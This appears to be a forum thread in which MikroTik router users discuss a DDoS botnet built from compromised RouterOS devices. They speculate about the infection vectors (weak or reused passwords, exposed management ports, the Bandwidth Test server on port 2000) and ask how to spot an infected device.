Looks like there is a new DDoS botnet on the loose, comprised of Mikrotik devices.
We do not know precisely what particular vulnerabilities lead to the situation where Mikrotik devices are being compromised on such a large scale. Several records at the Mikrotik forum indicate that its customers experienced > hacking attempts on older versions of RouterOS, particularly 6.40.1 from 2017> . If this is correct and we see that old vulnerability still being active on thousands of devices being unpatched and unupgraded, this is horrible news. However, our data with Yandex indicates that this is not true – because the spectrum of RouterOS versions we see across this botnet varies from years old to recent. > The largest share belongs to the version of firmware previous to the current Stable one> .
This is scary - how are devices running 6.48.3 being infected? If there was a weak admin password and no firewall I could understand them being compromised, but the attacker should still be limited to boring things like running proxies and VPNs and whatever other functions exist in RouterOS. A scripted fetch attack also wouldn’t generate such high levels of traffic, the fact that they can be used for a DDoS with a HTTP pipelining attack implies that the device has been rooted to run arbitrary code which shouldn’t be possible with modern RouterOS versions. Is there a new exploit going around?
what are the signs that the device is infected?
for example: the presence of extraneous scripts, the presence of a new user who was recently created or something else?
The instances I have seen are from poor password and update policies as well as not limiting management access to the routers. Some had old RouterOS versions that were exploited and the user/pass was obtained and used on other Mikrotik routers that were running newer versions but utilizing the same user/pass.
Perhaps future routeros versions should separate socks into a separate package. I mean in my thousands of mikrotiks that I have logged in into, the only time I have seen it being used was on routers that were previously hacked.
What worries me is that they all seem to have port 2000 open (Bandwidth Test Server), that could be either an infection vector (vulnerability in implementation) or because of a lacking default firewall (btest server is running by default).
